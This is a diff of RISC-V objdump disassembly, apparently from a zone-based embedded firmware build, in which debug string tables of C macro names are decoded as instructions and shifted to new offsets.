+    3476:	2972                	fld	fs2,280(sp)
+    3478:	0020                	addi	s0,sp,8
+    347a:	5442                	lw	s0,48(sp)
+    347c:	314e                	fld	ft2,240(sp)
+    347e:	495f 5152 3120      	0x31205152495f
+    3484:	5f5f0037          	lui	zero,0x5f5f0
+    3488:	6972                	flw	fs2,28(sp)
+    348a:	5f766373          	csrrsi	t1,0x5f7,12
+    348e:	756d                	lui	a0,0xffffb
+    3490:	646c                	flw	fa1,76(s0)
+    3492:	7669                	lui	a2,0xffffa
+    3494:	3120                	fld	fs0,96(a0)
+    3496:	4c00                	lw	s0,24(s0)
+    3498:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    349c:	4f4c                	lw	a1,28(a4)
+    349e:	474e                	lw	a4,208(sp)
+    34a0:	4d5f 4e49 2820      	0x28204e494d5f
+    34a6:	4c2d                	li	s8,11
+    34a8:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    34ac:	4f4c                	lw	a1,28(a4)
+    34ae:	474e                	lw	a4,208(sp)
+    34b0:	4d5f 5841 2d20      	0x2d2058414d5f
+    34b6:	3120                	fld	fs0,96(a0)
+    34b8:	4c4c                	lw	a1,28(s0)
+    34ba:	0029                	c.nop	10
+    34bc:	4d44                	lw	s1,28(a0)
+    34be:	5f41                	li	t5,-16
+    34c0:	4142                	lw	sp,16(sp)
+    34c2:	30204553          	0x30204553
+    34c6:	3178                	fld	fa4,224(a0)
+    34c8:	3030                	fld	fa2,96(s0)
+    34ca:	3034                	fld	fa3,96(s0)
+    34cc:	3030                	fld	fa2,96(s0)
+    34ce:	0030                	addi	a2,sp,8
+    34d0:	525f 4545 544e      	0x544e4545525f
+    34d6:	495f 494e 5f54      	0x5f54494e495f
+    34dc:	5450                	lw	a2,44(s0)
+    34de:	2852                	fld	fa6,272(sp)
+    34e0:	6176                	flw	ft2,92(sp)
+    34e2:	2972                	fld	fs2,280(sp)
+    34e4:	7b20                	flw	fs0,112(a4)
+    34e6:	6d20                	flw	fs0,88(a0)
+    34e8:	6d65                	lui	s10,0x19
+    34ea:	28746573          	csrrsi	a0,0x287,8
+    34ee:	7628                	flw	fa0,104(a2)
+    34f0:	7261                	lui	tp,0xffff8
+    34f2:	2c29                	jal	370c <__stack_size+0x2f0c>
+    34f4:	3020                	fld	fs0,96(s0)
+    34f6:	202c                	fld	fa1,64(s0)
+    34f8:	657a6973          	csrrsi	s2,0x657,20
+    34fc:	2a28666f          	jal	a2,8979e <__stack_size+0x88f9e>
+    3500:	7628                	flw	fa0,104(a2)
+    3502:	7261                	lui	tp,0xffff8
+    3504:	2929                	jal	391e <__stack_size+0x311e>
+    3506:	3b29                	jal	3220 <__stack_size+0x2a20>
+    3508:	5f20                	lw	s0,120(a4)
+    350a:	4552                	lw	a0,20(sp)
+    350c:	4e45                	li	t3,17
+    350e:	5f54                	lw	a3,60(a4)
+    3510:	4e49                	li	t3,18
+    3512:	5449                	li	s0,-14
+    3514:	505f 5254 5a5f      	0x5a5f5254505f
+    351a:	5245                	li	tp,-15
+    351c:	2844454f          	fnmadd.s	fa0,fs0,ft4,ft5,rmm
+    3520:	6176                	flw	ft2,92(sp)
+    3522:	2972                	fld	fs2,280(sp)
+    3524:	007d203b          	0x7d203b
+    3528:	4e49                	li	t3,18
+    352a:	5f54                	lw	a3,60(a4)
+    352c:	4146                	lw	sp,80(sp)
+    352e:	32335453          	0x32335453
+    3532:	4d5f 4e49 5f00      	0x5f004e494d5f
+    3538:	465f 544c 3233      	0x3233544c465f
+    353e:	5f58                	lw	a4,60(a4)
+    3540:	414d                	li	sp,19
+    3542:	544e                	lw	s0,240(sp)
+    3544:	445f 4749 5f5f      	0x5f5f4749445f
+    354a:	3520                	fld	fs0,104(a0)
+    354c:	5f5f0033          	0x5f5f0033
+    3550:	454e                	lw	a0,208(sp)
+    3552:	42494c57          	0x42494c57
+    3556:	505f 5441 4843      	0x48435441505f
+    355c:	454c                	lw	a1,12(a0)
+    355e:	4556                	lw	a0,84(sp)
+    3560:	5f4c                	lw	a1,60(a4)
+    3562:	205f 0030 5f5f      	0x5f5f0030205f
+    3568:	6f6c                	flw	fa1,92(a4)
+    356a:	695f6b63          	bltu	t5,s5,3c00 <__stack_size+0x3400>
+    356e:	696e                	flw	fs2,216(sp)
+    3570:	5f74                	lw	a3,124(a4)
+    3572:	6572                	flw	fa0,28(sp)
+    3574:	73727563          	bgeu	tp,s7,3c9e <__stack_size+0x349e>
+    3578:	7669                	lui	a2,0xffffa
+    357a:	2865                	jal	3632 <__stack_size+0x2e32>
+    357c:	6f6c                	flw	fa1,92(a4)
+    357e:	20296b63          	bltu	s2,sp,3794 <__stack_size+0x2f94>
+    3582:	2828                	fld	fa0,80(s0)
+    3584:	6f76                	flw	ft10,92(sp)
+    3586:	6469                	lui	s0,0x1a
+    3588:	2029                	jal	3592 <__stack_size+0x2d92>
+    358a:	2930                	fld	fa2,80(a0)
+    358c:	5f00                	lw	s0,56(a4)
+    358e:	4e49                	li	t3,18
+    3590:	3354                	fld	fa3,160(a4)
+    3592:	5f32                	lw	t5,44(sp)
+    3594:	5f54                	lw	a3,60(a4)
+    3596:	4544                	lw	s1,12(a0)
+    3598:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    359c:	4445                	li	s0,17
+    359e:	0020                	addi	s0,sp,8
+    35a0:	5f5f 4e49 5f54      	0x5f544e495f5f
+    35a6:	54444957          	0x54444957
+    35aa:	5f48                	lw	a0,60(a4)
+    35ac:	205f 3233 5f00      	0x5f003233205f
+    35b2:	49445453          	0x49445453
+    35b6:	5f485f4f          	fnmadd.q	ft10,fa6,fs4,fa1,unknown
+    35ba:	0020                	addi	s0,sp,8
+    35bc:	52435f4f          	fnmadd.d	ft10,ft6,ft4,fa0,unknown
+    35c0:	4145                	li	sp,17
+    35c2:	2054                	fld	fa3,128(s0)
+    35c4:	465f 5243 4145      	0x41455243465f
+    35ca:	0054                	addi	a3,sp,4
+    35cc:	53495f53          	0x53495f53
+    35d0:	4955                	li	s2,21
+    35d2:	2044                	fld	fs1,128(s0)
+    35d4:	3030                	fld	fa2,96(s0)
+    35d6:	3430                	fld	fa2,104(s0)
+    35d8:	3030                	fld	fa2,96(s0)
+    35da:	0030                	addi	a2,sp,8
+    35dc:	4c55                	li	s8,21
+    35de:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    35e2:	414d                	li	sp,19
+    35e4:	2058                	fld	fa4,128(s0)
+    35e6:	4c28                	lw	a0,88(s0)
+    35e8:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    35ec:	414d                	li	sp,19
+    35ee:	2058                	fld	fa4,128(s0)
+    35f0:	202a                	fld	ft0,136(sp)
+    35f2:	5532                	lw	a0,44(sp)
+    35f4:	204c                	fld	fa1,128(s0)
+    35f6:	5531202b          	0x5531202b
+    35fa:	294c                	fld	fa1,144(a0)
+    35fc:	4300                	lw	s0,0(a4)
+    35fe:	4f4c                	lw	a1,28(a4)
+    3600:	415f4b43          	fmadd.s	fs6,ft10,fs5,fs0,rmm
+    3604:	4c4c                	lw	a1,28(s0)
+    3606:	4445574f          	0x4445574f
+    360a:	3120                	fld	fs0,96(a0)
+    360c:	4600                	lw	s0,8(a2)
+    360e:	5f44                	lw	s1,60(a4)
+    3610:	28524c43          	fmadd.s	fs8,ft4,ft5,ft5,rmm
+    3614:	2c6e                	fld	fs8,216(sp)
+    3616:	2970                	fld	fa2,208(a0)
+    3618:	2820                	fld	fs0,80(s0)
+    361a:	7028                	flw	fa0,96(s0)
+    361c:	2d29                	jal	3c36 <__stack_size+0x3436>
+    361e:	663e                	flw	fa2,204(sp)
+    3620:	7364                	flw	fs1,100(a4)
+    3622:	625f 7469 5b73      	0x5b737469625f
+    3628:	6e28                	flw	fa0,88(a2)
+    362a:	2f29                	jal	3d44 <__stack_size+0x3544>
+    362c:	464e                	lw	a2,208(sp)
+    362e:	4244                	lw	s1,4(a2)
+    3630:	5449                	li	s0,-14
+    3632:	26205d53          	0x26205d53
+    3636:	203d                	jal	3664 <__stack_size+0x2e64>
+    3638:	287e                	fld	fa6,472(sp)
+    363a:	4c31                	li	s8,12
+    363c:	3c20                	fld	fs0,120(s0)
+    363e:	203c                	fld	fa5,64(s0)
+    3640:	2828                	fld	fa0,80(s0)
+    3642:	296e                	fld	fs2,216(sp)
+    3644:	2520                	fld	fs0,72(a0)
+    3646:	4e20                	lw	s0,88(a2)
+    3648:	4446                	lw	s0,80(sp)
+    364a:	4942                	lw	s2,16(sp)
+    364c:	5354                	lw	a3,36(a4)
+    364e:	2929                	jal	3a68 <__stack_size+0x3268>
+    3650:	0029                	c.nop	10
+    3652:	5f5f 4942 5f54      	0x5f5449425f5f
+    3658:	5954                	lw	a3,52(a0)
+    365a:	4550                	lw	a2,12(a0)
+    365c:	45445f53          	0x45445f53
+    3660:	4946                	lw	s2,80(sp)
+    3662:	454e                	lw	a0,208(sp)
+    3664:	5f44                	lw	s1,60(a4)
+    3666:	205f 0031 5f4f      	0x5f4f0031205f
+    366c:	4f4e                	lw	t5,208(sp)
+    366e:	59545443          	fmadd.s	fs0,fs0,fs5,fa1,unknown
+    3672:	5f20                	lw	s0,120(a4)
+    3674:	4e46                	lw	t3,80(sp)
+    3676:	5454434f          	0x5454434f
+    367a:	0059                	c.nop	22
+    367c:	58495f53          	0x58495f53
+    3680:	5355                	li	t1,-11
+    3682:	2052                	fld	ft0,272(sp)
+    3684:	3030                	fld	fa2,96(s0)
+    3686:	3030                	fld	fa2,96(s0)
+    3688:	3031                	jal	2e94 <__stack_size+0x2694>
+    368a:	0030                	addi	a2,sp,8
+    368c:	5f5f 4c46 3654      	0x36544c465f5f
+    3692:	5f34                	lw	a3,120(a4)
+    3694:	4944                	lw	s1,20(a0)
+    3696:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    369a:	3531                	jal	34a6 <__stack_size+0x2ca6>
+    369c:	4600                	lw	s0,8(a2)
+    369e:	535f 5445 4446      	0x44465445535f
+    36a4:	3220                	fld	fs0,96(a2)
+    36a6:	5f00                	lw	s0,56(a4)
+    36a8:	775f 6165 5f6b      	0x5f6b6165775f
+    36ae:	6572                	flw	fa0,28(sp)
+    36b0:	6566                	flw	fa0,88(sp)
+    36b2:	6572                	flw	fa0,28(sp)
+    36b4:	636e                	flw	ft6,216(sp)
+    36b6:	2865                	jal	376e <__stack_size+0x2f6e>
+    36b8:	2c6d7973          	csrrci	s2,0x2c6,26
+    36bc:	6c61                	lui	s8,0x18
+    36be:	6169                	addi	sp,sp,208
+    36c0:	5f202973          	csrr	s2,0x5f2
+    36c4:	615f 6d73 5f5f      	0x5f5f6d73615f
+    36ca:	2228                	fld	fa0,64(a2)
+    36cc:	772e                	flw	fa4,232(sp)
+    36ce:	6165                	addi	sp,sp,112
+    36d0:	2022206b          	0x2022206b
+    36d4:	696c6123          	0x696c6123
+    36d8:	7361                	lui	t1,0xffff8
+    36da:	3b29                	jal	33f4 <__stack_size+0x2bf4>
+    36dc:	5f20                	lw	s0,120(a4)
+    36de:	615f 6d73 5f5f      	0x5f5f6d73615f
+    36e4:	2228                	fld	fa0,64(a2)
+    36e6:	652e                	flw	fa0,200(sp)
+    36e8:	7571                	lui	a0,0xffffc
+    36ea:	2220                	fld	fs0,64(a2)
+    36ec:	2320                	fld	fs0,64(a4)
+    36ee:	6c61                	lui	s8,0x18
+    36f0:	6169                	addi	sp,sp,208
+    36f2:	2c222073          	csrs	0x2c2,tp
+    36f6:	2220                	fld	fs0,64(a2)
+    36f8:	2320                	fld	fs0,64(a4)
+    36fa:	296d7973          	csrrci	s2,0x296,26
+    36fe:	7200                	flw	fs0,32(a2)
+    3700:	6365                	lui	t1,0x19
+    3702:	6965                	lui	s2,0x19
+    3704:	6576                	flw	fa0,92(sp)
+    3706:	6f5a                	flw	ft10,148(sp)
+    3708:	656e                	flw	fa0,216(sp)
+    370a:	654d                	lui	a0,0x13
+    370c:	67617373          	csrrci	t1,0x676,2
+    3710:	4165                	li	sp,25
+    3712:	646e                	flw	fs0,216(sp)
+    3714:	6148                	flw	fa0,4(a0)
+    3716:	646e                	flw	fs0,216(sp)
+    3718:	656c                	flw	fa1,76(a0)
+    371a:	7250                	flw	fa2,36(a2)
+    371c:	6e69                	lui	t3,0x1a
+    371e:	6674                	flw	fa3,76(a2)
+    3720:	0032                	c.slli	zero,0xc
     3722:	5246                	lw	tp,112(sp)
-    3724:	4545                	li	a0,17
-    3726:	3220                	fld	fs0,96(a2)
-    3728:	5000                	lw	s0,32(s0)
-    372a:	435f4d57          	0x435f4d57
-    372e:	4746                	lw	a4,80(sp)
-    3730:	435f 504d 4731      	0x4731504d435f
-    3736:	4e41                	li	t3,16
-    3738:	78302047          	fmsub.s	ft0,ft0,ft3,fa5,rdn
-    373c:	3230                	fld	fa2,96(a2)
-    373e:	3030                	fld	fa2,96(s0)
-    3740:	3030                	fld	fa2,96(s0)
-    3742:	3030                	fld	fa2,96(s0)
-    3744:	5f00                	lw	s0,56(a4)
-    3746:	495f 544e 3631      	0x3631544e495f
-    374c:	545f 5059 5f45      	0x5f455059545f
-    3752:	205f 6873 726f      	0x726f6873205f
-    3758:	2074                	fld	fa3,192(s0)
-    375a:	6e69                	lui	t3,0x1a
-    375c:	0074                	addi	a3,sp,12
-    375e:	5f5f 4c46 3154      	0x31544c465f5f
-    3764:	3832                	fld	fa6,296(sp)
-    3766:	445f 4749 5f5f      	0x5f5f4749445f
-    376c:	3320                	fld	fs0,96(a4)
-    376e:	54420033          	0x54420033
-    3772:	324e                	fld	ft4,240(sp)
-    3774:	495f 5152 3120      	0x31205152495f
-    377a:	0038                	addi	a4,sp,8
-    377c:	6466                	flw	fs0,88(sp)
-    377e:	735f 7465 5f20      	0x5f207465735f
-    3784:	7974                	flw	fa3,116(a0)
-    3786:	6570                	flw	fa2,76(a0)
-    3788:	64665f73          	csrrwi	t5,0x646,12
-    378c:	735f 7465 5f00      	0x5f007465735f
-    3792:	4552                	lw	a0,20(sp)
-    3794:	4e45                	li	t3,17
-    3796:	5f54                	lw	a3,60(a4)
-    3798:	4152                	lw	sp,20(sp)
-    379a:	444e                	lw	s0,208(sp)
-    379c:	3834                	fld	fa3,112(s0)
-    379e:	535f 4545 2844      	0x28444545535f
-    37a4:	7470                	flw	fa2,108(s0)
-    37a6:	2972                	fld	fs2,280(sp)
-    37a8:	2820                	fld	fs0,80(s0)
-    37aa:	7028                	flw	fa0,96(s0)
-    37ac:	7274                	flw	fa3,100(a2)
-    37ae:	2d29                	jal	3dc8 <__stack_size+0x35c8>
-    37b0:	5f3e                	lw	t5,236(sp)
-    37b2:	656e                	flw	fa0,216(sp)
-    37b4:	725f2e77          	0x725f2e77
-    37b8:	6565                	lui	a0,0x19
-    37ba:	746e                	flw	fs0,248(sp)
-    37bc:	5f2e                	lw	t5,232(sp)
-    37be:	3472                	fld	fs0,312(sp)
-    37c0:	2e38                	fld	fa4,88(a2)
-    37c2:	735f 6565 2964      	0x29646565735f
-    37c8:	4900                	lw	s0,16(a0)
-    37ca:	544e                	lw	s0,240(sp)
-    37cc:	465f 5341 3654      	0x36545341465f
-    37d2:	5f34                	lw	a3,120(a4)
-    37d4:	494d                	li	s2,19
-    37d6:	004e                	c.slli	zero,0x13
-    37d8:	6968                	flw	fa0,84(a0)
-    37da:	726f7473          	csrrci	s0,0x726,30
-    37de:	0079                	c.nop	30
-    37e0:	5f5f 4e47 4355      	0x43554e475f5f
-    37e6:	494c                	lw	a1,20(a0)
-    37e8:	425f454b          	fnmsub.d	fa0,ft10,ft5,fs0,rmm
-    37ec:	4955                	li	s2,21
-    37ee:	544c                	lw	a1,44(s0)
-    37f0:	4e49                	li	t3,18
-    37f2:	4d5f 4d45 5043      	0x50434d454d5f
-    37f8:	2059                	jal	387e <__stack_size+0x307e>
-    37fa:	0031                	c.nop	12
-    37fc:	5f5f 695f 746e      	0x746e695f5f5f
-    3802:	735f 7a69 5f65      	0x5f657a69735f
-    3808:	5f74                	lw	a3,124(a4)
-    380a:	2068                	fld	fa0,192(s0)
-    380c:	5f00                	lw	s0,56(a4)
-    380e:	735f 6d79 645f      	0x645f6d79735f
-    3814:	6665                	lui	a2,0x19
-    3816:	7561                	lui	a0,0xffff8
-    3818:	746c                	flw	fa1,108(s0)
-    381a:	7328                	flw	fa0,96(a4)
-    381c:	6d79                	lui	s10,0x1e
-    381e:	692c                	flw	fa1,80(a0)
-    3820:	706d                	c.lui	zero,0xffffb
-    3822:	2c6c                	fld	fa1,216(s0)
-    3824:	6576                	flw	fa0,92(sp)
-    3826:	6972                	flw	fs2,28(sp)
-    3828:	2964                	fld	fs1,208(a0)
-    382a:	5f20                	lw	s0,120(a4)
-    382c:	615f 6d73 5f5f      	0x5f5f6d73615f
-    3832:	2228                	fld	fa0,64(a2)
-    3834:	732e                	flw	ft6,232(sp)
-    3836:	6d79                	lui	s10,0x1e
-    3838:	6576                	flw	fa0,92(sp)
-    383a:	2072                	fld	ft0,280(sp)
-    383c:	2022                	fld	ft0,8(sp)
-    383e:	706d6923          	0x706d6923
-    3842:	206c                	fld	fa1,192(s0)
-    3844:	2c22                	fld	fs8,8(sp)
-    3846:	2220                	fld	fs0,64(a2)
-    3848:	2320                	fld	fs0,64(a4)
-    384a:	206d7973          	csrrci	s2,0x206,26
-    384e:	4022                	0x4022
-    3850:	2240                	fld	fs0,128(a2)
-    3852:	2320                	fld	fs0,64(a4)
-    3854:	6576                	flw	fa0,92(sp)
-    3856:	6972                	flw	fs2,28(sp)
-    3858:	2964                	fld	fs1,208(a0)
-    385a:	5f00                	lw	s0,56(a4)
-    385c:	4e49                	li	t3,18
-    385e:	505f 524f 5f54      	0x5f54524f505f
+    3724:	4145                	li	sp,17
+    3726:	2044                	fld	fs1,128(s0)
+    3728:	465f 4552 4441      	0x44414552465f
+    372e:	5f00                	lw	s0,56(a4)
+    3730:	4c5f4353          	0x4c5f4353
+    3734:	5645                	li	a2,-15
+    3736:	4c45                	li	s8,17
+    3738:	5f31                	li	t5,-20
+    373a:	4344                	lw	s1,4(a4)
+    373c:	4341                	li	t1,16
+    373e:	4548                	lw	a0,12(a0)
+    3740:	415f 5353 434f      	0x434f5353415f
+    3746:	3120                	fld	fs0,96(a0)
+    3748:	3932                	fld	fs2,296(sp)
+    374a:	5f00                	lw	s0,56(a4)
+    374c:	475f 554e 4c43      	0x4c43554e475f
+    3752:	4b49                	li	s6,18
+    3754:	5f45                	li	t5,-15
+    3756:	5542                	lw	a0,48(sp)
+    3758:	4c49                	li	s8,18
+    375a:	4954                	lw	a3,20(a0)
+    375c:	5f4e                	lw	t5,240(sp)
+    375e:	454e                	lw	a0,208(sp)
+    3760:	5458                	lw	a4,44(s0)
+    3762:	415f 4752 3120      	0x31204752415f
+    3768:	5f00                	lw	s0,56(a4)
+    376a:	4955                	li	s2,21
+    376c:	544e                	lw	s0,240(sp)
+    376e:	3436                	fld	fs0,360(sp)
+    3770:	545f 445f 4345      	0x4345445f545f
+    3776:	414c                	lw	a1,4(a0)
+    3778:	4552                	lw	a0,20(sp)
+    377a:	2044                	fld	fs1,128(s0)
+    377c:	5f00                	lw	s0,56(a4)
+    377e:	725f 7369 7663      	0x76637369725f
+    3784:	615f 6f74 696d      	0x696d6f74615f
+    378a:	00312063          	0x312063
+    378e:	505f 5f43 494c      	0x494c5f43505f
+    3794:	4b4e                	lw	s6,208(sp)
+    3796:	4d5f 5841 3020      	0x302058414d5f
+    379c:	6900                	flw	fs0,16(a0)
+    379e:	706e                	flw	ft0,248(sp)
+    37a0:	7475                	lui	s0,0xffffd
+    37a2:	696c                	flw	fa1,84(a0)
+    37a4:	656e                	flw	fa0,216(sp)
+    37a6:	5f00                	lw	s0,56(a4)
+    37a8:	465f 544c 3233      	0x3233544c465f
+    37ae:	5f58                	lw	a4,60(a4)
+    37b0:	4544                	lw	s1,12(a0)
+    37b2:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
+    37b6:	5f4c                	lw	a1,60(a4)
+    37b8:	4944                	lw	s1,20(a0)
+    37ba:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    37be:	3731                	jal	36ca <__stack_size+0x2eca>
+    37c0:	5f00                	lw	s0,56(a4)
+    37c2:	4c42                	lw	s8,16(sp)
+    37c4:	544e434b          	0x544e434b
+    37c8:	545f 445f 4345      	0x4345445f545f
+    37ce:	414c                	lw	a1,4(a0)
+    37d0:	4552                	lw	a0,20(sp)
+    37d2:	2044                	fld	fs1,128(s0)
+    37d4:	5f00                	lw	s0,56(a4)
+    37d6:	475f 4343 415f      	0x415f4343475f
+    37dc:	4f54                	lw	a3,28(a4)
+    37de:	494d                	li	s2,19
+    37e0:	48435f43          	fmadd.s	ft10,ft6,ft4,fs1,unknown
+    37e4:	5241                	li	tp,-16
+    37e6:	545f3233          	0x545f3233
+    37ea:	4c5f 434f 5f4b      	0x5f4b434f4c5f
+    37f0:	5246                	lw	tp,112(sp)
+    37f2:	4545                	li	a0,17
+    37f4:	3220                	fld	fs0,96(a2)
+    37f6:	5000                	lw	s0,32(s0)
+    37f8:	435f4d57          	0x435f4d57
+    37fc:	4746                	lw	a4,80(sp)
+    37fe:	435f 504d 4731      	0x4731504d435f
+    3804:	4e41                	li	t3,16
+    3806:	78302047          	fmsub.s	ft0,ft0,ft3,fa5,rdn
+    380a:	3230                	fld	fa2,96(a2)
+    380c:	3030                	fld	fa2,96(s0)
+    380e:	3030                	fld	fa2,96(s0)
+    3810:	3030                	fld	fa2,96(s0)
+    3812:	5f00                	lw	s0,56(a4)
+    3814:	495f 544e 3631      	0x3631544e495f
+    381a:	545f 5059 5f45      	0x5f455059545f
+    3820:	205f 6873 726f      	0x726f6873205f
+    3826:	2074                	fld	fa3,192(s0)
+    3828:	6e69                	lui	t3,0x1a
+    382a:	0074                	addi	a3,sp,12
+    382c:	5f5f 4c46 3154      	0x31544c465f5f
+    3832:	3832                	fld	fa6,296(sp)
+    3834:	445f 4749 5f5f      	0x5f5f4749445f
+    383a:	3320                	fld	fs0,96(a4)
+    383c:	54420033          	0x54420033
+    3840:	324e                	fld	ft4,240(sp)
+    3842:	495f 5152 3120      	0x31205152495f
+    3848:	0038                	addi	a4,sp,8
+    384a:	6466                	flw	fs0,88(sp)
+    384c:	735f 7465 5f20      	0x5f207465735f
+    3852:	7974                	flw	fa3,116(a0)
+    3854:	6570                	flw	fa2,76(a0)
+    3856:	64665f73          	csrrwi	t5,0x646,12
+    385a:	735f 7465 5f00      	0x5f007465735f
+    3860:	4552                	lw	a0,20(sp)
+    3862:	4e45                	li	t3,17
     3864:	5f54                	lw	a3,60(a4)
-    3866:	4544                	lw	s1,12(a0)
-    3868:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    386c:	4445                	li	s0,17
-    386e:	0020                	addi	s0,sp,8
-    3870:	535f 5359 545f      	0x545f5359535f
-    3876:	4d49                	li	s10,18
-    3878:	5345                	li	t1,-15
-    387a:	4550                	lw	a2,12(a0)
-    387c:	5f485f43          	fmadd.q	ft10,fa6,fs4,fa1,unknown
-    3880:	0020                	addi	s0,sp,8
-    3882:	5f5f 4347 5f43      	0x5f4343475f5f
-    3888:	5441                	li	s0,-16
-    388a:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    388e:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    3894:	4f4c                	lw	a1,28(a4)
-    3896:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
-    389a:	4552                	lw	a0,20(sp)
-    389c:	2045                	jal	393c <__stack_size+0x313c>
-    389e:	0032                	c.slli	zero,0xc
-    38a0:	475f 4343 535f      	0x535f4343475f
-    38a6:	4454                	lw	a3,12(s0)
-    38a8:	4e49                	li	t3,18
-    38aa:	5f54                	lw	a3,60(a4)
-    38ac:	2048                	fld	fa0,128(s0)
-    38ae:	7a00                	flw	fs0,48(a2)
-    38b0:	33656e6f          	jal	t3,59be6 <__stack_size+0x593e6>
-    38b4:	7a00                	flw	fs0,48(a2)
-    38b6:	34656e6f          	jal	t3,59bfc <__stack_size+0x593fc>
-    38ba:	4300                	lw	s0,0(a4)
-    38bc:	4d5f5253          	0x4d5f5253
-    38c0:	4e49                	li	t3,18
-    38c2:	45525453          	0x45525453
-    38c6:	2054                	fld	fa3,128(s0)
-    38c8:	3431                	jal	32d4 <__stack_size+0x2ad4>
-    38ca:	5f00                	lw	s0,56(a4)
-    38cc:	585f4353          	0x585f4353
-    38d0:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    38d4:	455f 484e 495f      	0x495f484e455f
-    38da:	3831                	jal	30f6 <__stack_size+0x28f6>
-    38dc:	204e                	fld	ft0,208(sp)
-    38de:	3739                	jal	37ec <__stack_size+0x2fec>
-    38e0:	5000                	lw	s0,32(s0)
-    38e2:	435f4d57          	0x435f4d57
-    38e6:	504d                	c.li	zero,-13
-    38e8:	2030                	fld	fa2,64(s0)
-    38ea:	7830                	flw	fa2,112(s0)
-    38ec:	3032                	fld	ft0,296(sp)
-    38ee:	5f00                	lw	s0,56(a4)
-    38f0:	5f535953          	0x5f535953
-    38f4:	4c5f 434f 4c41      	0x4c41434f4c5f
-    38fa:	5f45                	li	t5,-15
-    38fc:	2048                	fld	fa0,128(s0)
-    38fe:	5f00                	lw	s0,56(a4)
-    3900:	5f59454b          	fnmsub.q	fa0,fs2,fs5,fa1,rmm
-    3904:	5f54                	lw	a3,60(a4)
-    3906:	4544                	lw	s1,12(a0)
-    3908:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    390c:	4445                	li	s0,17
-    390e:	0020                	addi	s0,sp,8
-    3910:	535f 5f43 4941      	0x49415f43535f
-    3916:	494c5f4f          	fnmadd.s	ft10,fs8,fs4,fs1,unknown
-    391a:	4f495453          	0x4f495453
-    391e:	4d5f 5841 3320      	0x332058414d5f
-    3924:	0034                	addi	a3,sp,8
-    3926:	535f 5f43 5f32      	0x5f325f43535f
-    392c:	445f5753          	0x445f5753
-    3930:	5645                	li	a2,-15
-    3932:	3120                	fld	fs0,96(a0)
-    3934:	3931                	jal	3550 <__stack_size+0x2d50>
-    3936:	5f00                	lw	s0,56(a4)
-    3938:	4c5f4353          	0x4c5f4353
-    393c:	5645                	li	a2,-15
-    393e:	4c45                	li	s8,17
-    3940:	5f31                	li	t5,-20
-    3942:	4344                	lw	s1,4(a4)
-    3944:	4341                	li	t1,16
-    3946:	4548                	lw	a0,12(a0)
-    3948:	4c5f 4e49 5345      	0x53454e494c5f
-    394e:	5a49                	li	s4,-14
-    3950:	2045                	jal	39f0 <__stack_size+0x31f0>
-    3952:	3331                	jal	365e <__stack_size+0x2e5e>
-    3954:	0030                	addi	a2,sp,8
-    3956:	4f4e5f4f          	fnmadd.q	ft10,ft8,fs4,fs1,unknown
-    395a:	4f46                	lw	t5,80(sp)
-    395c:	4c4c                	lw	a1,28(s0)
-    395e:	5f20574f          	fnmadd.q	fa4,ft0,fs2,fa1,unknown
-    3962:	4e46                	lw	t3,80(sp)
-    3964:	4c4f464f          	0x4c4f464f
-    3968:	4f4c                	lw	a1,28(a4)
-    396a:	5f5f0057          	0x5f5f0057
-    396e:	706d6f63          	bltu	s10,t1,408c <__stack_size+0x388c>
-    3972:	6c69                	lui	s8,0x1a
-    3974:	7265                	lui	tp,0xffff9
-    3976:	6d5f 6d65 6162      	0x61626d656d5f
-    397c:	2872                	fld	fa6,280(sp)
-    397e:	2029                	jal	3988 <__stack_size+0x3188>
-    3980:	5f5f 7361 206d      	0x206d73615f5f
-    3986:	5f5f 6f76 616c      	0x616c6f765f5f
-    398c:	6974                	flw	fa3,84(a0)
-    398e:	656c                	flw	fa1,76(a0)
-    3990:	2228                	fld	fa0,64(a2)
-    3992:	2220                	fld	fs0,64(a2)
-    3994:	3a20                	fld	fs0,112(a2)
-    3996:	3a20                	fld	fs0,112(a2)
-    3998:	3a20                	fld	fs0,112(a2)
-    399a:	2220                	fld	fs0,64(a2)
-    399c:	656d                	lui	a0,0x1b
-    399e:	6f6d                	lui	t5,0x1b
-    39a0:	7972                	flw	fs2,60(sp)
-    39a2:	2922                	fld	fs2,8(sp)
-    39a4:	5f00                	lw	s0,56(a4)
-    39a6:	494c                	lw	a1,20(a0)
-    39a8:	4342                	lw	t1,16(sp)
-    39aa:	4c5f 4d49 5449      	0x54494d494c5f
-    39b0:	5f485f53          	0x5f485f53
-    39b4:	3120                	fld	fs0,96(a0)
-    39b6:	5f00                	lw	s0,56(a4)
-    39b8:	505f4353          	0x505f4353
-    39bc:	4741                	li	a4,16
-    39be:	5345                	li	t1,-15
-    39c0:	5a49                	li	s4,-14
-    39c2:	2045                	jal	3a62 <__stack_size+0x3262>
-    39c4:	0038                	addi	a4,sp,8
-    39c6:	5f5f 5653 4449      	0x444956535f5f
-    39cc:	565f 5349 4249      	0x42495349565f
-    39d2:	454c                	lw	a1,12(a0)
-    39d4:	3120                	fld	fs0,96(a0)
-    39d6:	5f00                	lw	s0,56(a4)
-    39d8:	4649                	li	a2,18
-    39da:	4c42                	lw	s8,16(sp)
-    39dc:	3030204b          	fnmsub.s	ft0,ft0,ft3,ft6,rdn
-    39e0:	3036                	fld	ft0,360(sp)
-    39e2:	3030                	fld	fa2,96(s0)
-    39e4:	0030                	addi	a2,sp,8
-    39e6:	6d70                	flw	fa2,92(a0)
-    39e8:	6170                	flw	fa2,68(a0)
-    39ea:	6464                	flw	fs1,76(s0)
-    39ec:	0072                	c.slli	zero,0x1c
-    39ee:	535f 5359 465f      	0x465f5359535f
-    39f4:	4c544e43          	0x4c544e43
